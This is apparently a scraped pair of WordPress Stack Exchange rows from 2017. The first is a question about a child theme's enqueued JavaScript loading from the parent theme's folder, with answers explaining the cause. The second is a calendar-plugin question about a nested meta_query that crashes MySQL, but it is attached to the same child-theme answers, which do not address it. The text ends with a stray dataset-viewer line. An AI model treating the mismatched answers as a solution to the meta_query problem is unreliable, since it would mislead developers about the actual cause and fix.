add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
function my_theme_enqueue_styles() {
$parent_style = 'twentysixteen-style'; // This is 'twentysixteen-style' for the Twenty Sixteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
}
//enqueue and localizing the Javascript.
function assets() {
//wp_deregister_script('parent-script-handle');
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
</code></pre>
<p>Finally here is the error in my console: </p>
<p>GET <a href="http://192.168.33.10/wp-content/themes/twentysixteen/js/ajax-filter-posts.js?ver=4.7.2" rel="nofollow noreferrer">http://192.168.33.10/wp-content/themes/twentysixteen/js/ajax-filter-posts.js?ver=4.7.2</a> 404 (Not Found)</p>
<p>My JS files is in the twentysixteen-child/js/ folder.</p>
<p>I'm really confused on how this work, and what i'm doing wrong to have this js not being loaded and WP pointing to the parent theme…</p>
<p>Thanks for any help and clarification !</p>
<p>kindly.</p>
<p>Matth.</p>
| [
{
"answer_id": 255217,
"author": "Matthieu Ducorps",
"author_id": 110467,
"author_profile": "https://wordpress.stackexchange.com/users/110467",
"pm_score": 3,
"selected": true,
"text": "<p>This is the proper way to load a custom javascript in your child theme, <code>wp_localize_script</code> is only necessary if you need to exchange data between JS and PHP (Client and server).</p>\n\n<pre><code>function assets() {\n wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], '1.0', false);\n wp_enqueue_script('ajax_filter');\n wp_localize_script( 'ajax_filter', 'mdu', array(\n 'nonce' => wp_create_nonce( 'mdu' ),\n 'ajax_url' => admin_url( 'admin-ajax.php' )\n ));\n}\nadd_action('wp_enqueue_scripts', 'assets');\n</code></pre>\n\n<p>So my issue as noticed by @KAGG was that i was loading this JS from another file…</p>\n\n<p>Thanks for his help !</p>\n\n<p>Matth</p>\n"
},
{
"answer_id": 255236,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>It seems you have the same code in parent theme: <code>/twentysixteen/functions.php</code> This is the only explanation why <code>get_stylesheet_directory_uri()</code> returns <code>/wp-content/themes/twentysixteen</code> but not <code>/wp-content/themes/twentysixteen-child</code></p>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255133",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/110467/"
]
| After hours and hours of trying i can't get my head around it, I'm trying to `wp_enqueue_script` my custom js but WordPress is always looking for it in the parent theme folder, here is what i have tried lately without any success.
My parent theme is Twentysixteen,
Directly `wp_enqueue_script`:
```
function assets() {
wp_enqueue_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
```
Register the `wp_register_script` before `wp_enqueue_script`:
```
function assets() {
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
```
And also this solution, where I `wp_deregister_script` the parent theme scripts,
```
function assets() {
wp_deregister_script('parent-script-handle');
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
```
And i'm following up the recommandations form WordPress:
<https://developer.wordpress.org/themes/advanced-topics/child-themes/#enqueueing-styles-and-scripts>
**EDIT: fixed some coding errors**
Here is my full functions.php content
```
<?php
/**
*
* Functions and definitions.
*
*/
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
function my_theme_enqueue_styles() {
$parent_style = 'twentysixteen-style'; // This is 'twentysixteen-style' for the Twenty Sixteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
}
//enqueue and localizing the Javascript.
function assets() {
//wp_deregister_script('parent-script-handle');
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], null, true);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets', 100 );
```
Finally here is the error in my console:
GET <http://192.168.33.10/wp-content/themes/twentysixteen/js/ajax-filter-posts.js?ver=4.7.2> 404 (Not Found)
My JS files is in the twentysixteen-child/js/ folder.
I'm really confused on how this work, and what i'm doing wrong to have this js not being loaded and WP pointing to the parent theme…
Thanks for any help and clarification !
kindly.
Matth. | This is the proper way to load a custom javascript in your child theme, `wp_localize_script` is only necessary if you need to exchange data between JS and PHP (Client and server).
```
function assets() {
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], '1.0', false);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets');
```
So my issue as noticed by @KAGG was that i was loading this JS from another file…
Thanks for his help !
Matth |
255,137 | <p>I am working on a wordpress calendar plugin and ran into a issue with custom fields. I can do two separate queries one for repeat events and one for static events but when I try to combine them my script processes until the server crashes and restarts mysql...</p>
<pre><code>$args = array(
'numberposts' => -1,
'post_type' => 'events',
'meta_query' => array(
'relation' => 'OR',
array(
'relation' => 'AND',
array( 'key' => 'calendar', 'value' => $cid, 'compare' => '='),
array( 'key' => 'event_date', 'value' => $startQuery, 'compare' => '>=' ),
array( 'key' => 'event_date', 'value' => $endQuery, 'compare' => '<=' ),
array( 'key' => 'does_this_event_repeat', 'value' => '1', 'compare' => '='),
array( 'key' => 'event_category', 'value' => '"'.$category.'"',
'compare' => 'LIKE'),
),
array(
'relation' => 'AND',
array( 'key' => 'calendar', 'value' => $cid, 'compare' => '='),
array( 'key' => 'event_date', 'value' => $endQuery, 'compare' => '<=' ),
array( 'key' => 'repeat_until', 'value' => $startQuery, 'compare' => '>=' ),
array( 'key' => 'does_this_event_repeat', 'value' => '1', 'compare' => '>'),
array( 'key' => 'event_category', 'value' => '"'.$category.'"',
'compare' => 'LIKE')
),
)
);
$the_query = new WP_Query( $args );
</code></pre>
<p>UPDATE:</p>
<p>Please help me figure out why the top does not work but the code below does. I took the exact code and broke it into two queries and then combine them into a single.</p>
<pre><code>$static = array(
'numberposts' => -1,
'post_type' => 'protean_event',
'meta_query' => array(
'relation' => 'AND',
array( 'key' => 'calendar', 'value' => $cid, 'compare' => '='),
array( 'key' => 'event_date', 'value' => $startQuery, 'compare' => '>=' ),
array( 'key' => 'event_date', 'value' => $endQuery, 'compare' => '<=' ),
array( 'key' => 'does_this_event_repeat', 'value' => '1', 'compare' => '='),
array( 'key' => 'event_category', 'value' => $category, 'compare' => 'LIKE'),
)
);
$repeating = array(
'numberposts' => -1,
'post_type' => 'protean_event',
'meta_query' => array(
'relation' => 'AND',
array( 'key' => 'calendar', 'value' => $cid, 'compare' => '='),
array( 'key' => 'event_date', 'value' => $endQuery, 'compare' => '<=' ),
array( 'key' => 'repeat_until', 'value' => $startQuery, 'compare' => '>=' ),
array( 'key' => 'does_this_event_repeat', 'value' => '1', 'compare' => '>'),
array( 'key' => 'event_category', 'value' => $category, 'compare' => 'LIKE'),
)
);
$query1 = new WP_Query($static);
$query2 = new WP_Query($repeating);
//create new empty query and populate it with the other two
$wp_query = new WP_Query();
$wp_query->posts = array_merge( $query1->posts, $query2->posts );
//populate post_count count for the loop to work correctly
$wp_query->post_count = $query1->post_count + $query2->post_count;
</code></pre>
| [
{
"answer_id": 255217,
"author": "Matthieu Ducorps",
"author_id": 110467,
"author_profile": "https://wordpress.stackexchange.com/users/110467",
"pm_score": 3,
"selected": true,
"text": "<p>This is the proper way to load a custom javascript in your child theme, <code>wp_localize_script</code> is only necessary if you need to exchange data between JS and PHP (Client and server).</p>\n\n<pre><code>function assets() {\n wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], '1.0', false);\n wp_enqueue_script('ajax_filter');\n wp_localize_script( 'ajax_filter', 'mdu', array(\n 'nonce' => wp_create_nonce( 'mdu' ),\n 'ajax_url' => admin_url( 'admin-ajax.php' )\n ));\n}\nadd_action('wp_enqueue_scripts', 'assets');\n</code></pre>\n\n<p>So my issue as noticed by @KAGG was that i was loading this JS from another file…</p>\n\n<p>Thanks for his help !</p>\n\n<p>Matth</p>\n"
},
{
"answer_id": 255236,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>It seems you have the same code in parent theme: <code>/twentysixteen/functions.php</code> This is the only explanation why <code>get_stylesheet_directory_uri()</code> returns <code>/wp-content/themes/twentysixteen</code> but not <code>/wp-content/themes/twentysixteen-child</code></p>\n"
}
]
| 2017/02/04 | [
"https://wordpress.stackexchange.com/questions/255137",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/71277/"
]
| I am working on a wordpress calendar plugin and ran into a issue with custom fields. I can do two separate queries one for repeat events and one for static events but when I try to combine them my script processes until the server crashes and restarts mysql...
```
$args = array(
'numberposts' => -1,
'post_type' => 'events',
'meta_query' => array(
'relation' => 'OR',
array(
'relation' => 'AND',
array( 'key' => 'calendar', 'value' => $cid, 'compare' => '='),
array( 'key' => 'event_date', 'value' => $startQuery, 'compare' => '>=' ),
array( 'key' => 'event_date', 'value' => $endQuery, 'compare' => '<=' ),
array( 'key' => 'does_this_event_repeat', 'value' => '1', 'compare' => '='),
array( 'key' => 'event_category', 'value' => '"'.$category.'"',
'compare' => 'LIKE'),
),
array(
'relation' => 'AND',
array( 'key' => 'calendar', 'value' => $cid, 'compare' => '='),
array( 'key' => 'event_date', 'value' => $endQuery, 'compare' => '<=' ),
array( 'key' => 'repeat_until', 'value' => $startQuery, 'compare' => '>=' ),
array( 'key' => 'does_this_event_repeat', 'value' => '1', 'compare' => '>'),
array( 'key' => 'event_category', 'value' => '"'.$category.'"',
'compare' => 'LIKE')
),
)
);
$the_query = new WP_Query( $args );
```
UPDATE:
Please help me figure out why the top does not work but the code below does. I took the exact code and broke it into two queries and then combine them into a single.
```
$static = array(
'numberposts' => -1,
'post_type' => 'protean_event',
'meta_query' => array(
'relation' => 'AND',
array( 'key' => 'calendar', 'value' => $cid, 'compare' => '='),
array( 'key' => 'event_date', 'value' => $startQuery, 'compare' => '>=' ),
array( 'key' => 'event_date', 'value' => $endQuery, 'compare' => '<=' ),
array( 'key' => 'does_this_event_repeat', 'value' => '1', 'compare' => '='),
array( 'key' => 'event_category', 'value' => $category, 'compare' => 'LIKE'),
)
);
$repeating = array(
'numberposts' => -1,
'post_type' => 'protean_event',
'meta_query' => array(
'relation' => 'AND',
array( 'key' => 'calendar', 'value' => $cid, 'compare' => '='),
array( 'key' => 'event_date', 'value' => $endQuery, 'compare' => '<=' ),
array( 'key' => 'repeat_until', 'value' => $startQuery, 'compare' => '>=' ),
array( 'key' => 'does_this_event_repeat', 'value' => '1', 'compare' => '>'),
array( 'key' => 'event_category', 'value' => $category, 'compare' => 'LIKE'),
)
);
$query1 = new WP_Query($static);
$query2 = new WP_Query($repeating);
//create new empty query and populate it with the other two
$wp_query = new WP_Query();
$wp_query->posts = array_merge( $query1->posts, $query2->posts );
//populate post_count count for the loop to work correctly
$wp_query->post_count = $query1->post_count + $query2->post_count;
``` | This is the proper way to load a custom javascript in your child theme, `wp_localize_script` is only necessary if you need to exchange data between JS and PHP (Client and server).
```
function assets() {
wp_register_script('ajax_filter', get_stylesheet_directory_uri() . '/js/ajax-filter-posts.js', ['jquery'], '1.0', false);
wp_enqueue_script('ajax_filter');
wp_localize_script( 'ajax_filter', 'mdu', array(
'nonce' => wp_create_nonce( 'mdu' ),
'ajax_url' => admin_url( 'admin-ajax.php' )
));
}
add_action('wp_enqueue_scripts', 'assets');
```
So my issue as noticed by @KAGG was that i was loading this JS from another file…
Thanks for his help !
Matth |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.